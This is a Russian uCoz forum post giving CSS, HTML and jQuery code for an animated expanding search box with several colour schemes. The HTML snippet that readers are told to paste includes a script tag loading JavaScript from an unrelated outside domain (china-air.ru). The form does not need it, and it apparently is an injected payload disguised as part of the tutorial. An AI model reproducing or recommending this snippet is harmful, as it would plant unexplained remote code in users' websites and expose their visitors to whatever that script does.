Загружаем страницу...
Форма поиска для Ucoz - Форум music80.ucoz.ru

Правила создания тем на форуме! Перед созданием темы убедитесь что такой темы еще не было! Для этого используйте Поиск!
Не создавайте темы, которые нарушают Правила форума!
Запрещается создавать темы нарушающие Договор-оферту от uCoz!
За нарушение данных правил вас могут забанить!

  • Страница 1 из 1
  • 1
Форум » Общий раздел » Скрипты для ucoz » Форма поиска для Ucoz (*icon-0*)
Форма поиска для Ucoz
1
Дмитрий
Дата: Понедельник, 24/12/2012, 04:37 | Сообщение # 1


Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {  
   font-family: Helvetica Neue, Helvetica, Arial, sans-serif;  
   background:#fff;  
   width: 8px;  
   padding: 0 8px;  
   height: 24px;  
   font-size: 14px;  
   color: #666;  
   line-height: 24px;  
   border: 0;  
   outline: none;  
   border-radius: 50px;  
   position: relative;  
   z-index: 5;  
   -moz-transition: .1s ease;  
   -ms-transition: .1s ease;  
   -webkit-transition: .1s ease;  
   -o-transition: .1s ease;  
   transition: .1s ease;  
   cursor:pointer;  
  }  
  #search:focus {  
   border: 0;  
   outline: none;  
   width: 180px; /*ширина открытой формы*/  
  }  
  p.s {  
   z-index: 4;  
   position: relative;  
   padding: 6px;  
   border-radius: 100px;  
   background: #abc8df;  
   display: inline-block;  
   cursor:pointer;  
  }  
  p.s:hover, p.s:hover:after {  
   background: #9eb9cf;  
  }  
  p.s_fo {  
   -o-transition: 0.9s;  
   -moz-transition: 0.9s;  
   -ms-transition: 0.9s;  
   -webkit-transition: 0.9s;  
   transition: 0.9s;  
   -moz-transform: rotate(1080deg);  
   -ms-transform: rotate(1080deg);  
   -webkit-transform: rotate(1080deg);  
   -o-transform: rotate(1080deg);  
   transform: rotate(1080deg);  
  }  
  p.s:after {  
   content: '';  
   display: block;  
   position: absolute;  
   width: 7px;  
   height: 12px;  
   background: #abc8df;  
   bottom: -4px;  
   right: -2px;  
   border-radius: 0 0 5px 5px;  
   -moz-transform: rotate(-45deg);  
   -ms-transform: rotate(-45deg);  
   -webkit-transform: rotate(-45deg);  
   -o-transform: rotate(-45deg);  
   transform: rotate(-45deg);  
  }  
  .blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/  
  .blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/  
  .green p.s, .green p.s:after {background:#65b11c;}  
  .green p.s:hover, .green p.s:hover:after {background:#599c18;}  
  .gray p.s, .gray p.s:after {background:#d7d7d7;}  
  .gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}  
  .pink p.s, .pink p.s:after {background:#ffbcef;}  
  .pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}  
  .orange p.s, .orange p.s:after {background:#faaa3a;}  
  .orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}  
  .black p.s, .black p.s:after {background:#676767;}  
  .black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">  
   <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>  
  </form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>  
  jQuery(document).ready(function () {  
   $('#search').focusout(function(){  
   $('p.s').addClass("s_fo");  
   });  
   $('#search').focusin(function(){  
   $('p.s').removeClass("s_fo");  
   });  
  });  
  </script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.



Форум » Общий раздел » Скрипты для ucoz » Форма поиска для Ucoz (*icon-0*)
  • Страница 1 из 1
  • 1
Поиск:
  

Администрация не несет ответственности за содержащие файлы на данном портале. Все материалы на сайте принадлежат исключительно их владельцам! Любое использование графических изображений сайта запрещено.

| Внимание! Для корректного отображения страниц сайта рекомендуем использовать "Opera" - [загрузить] или "Google Chrome" - [загрузить] |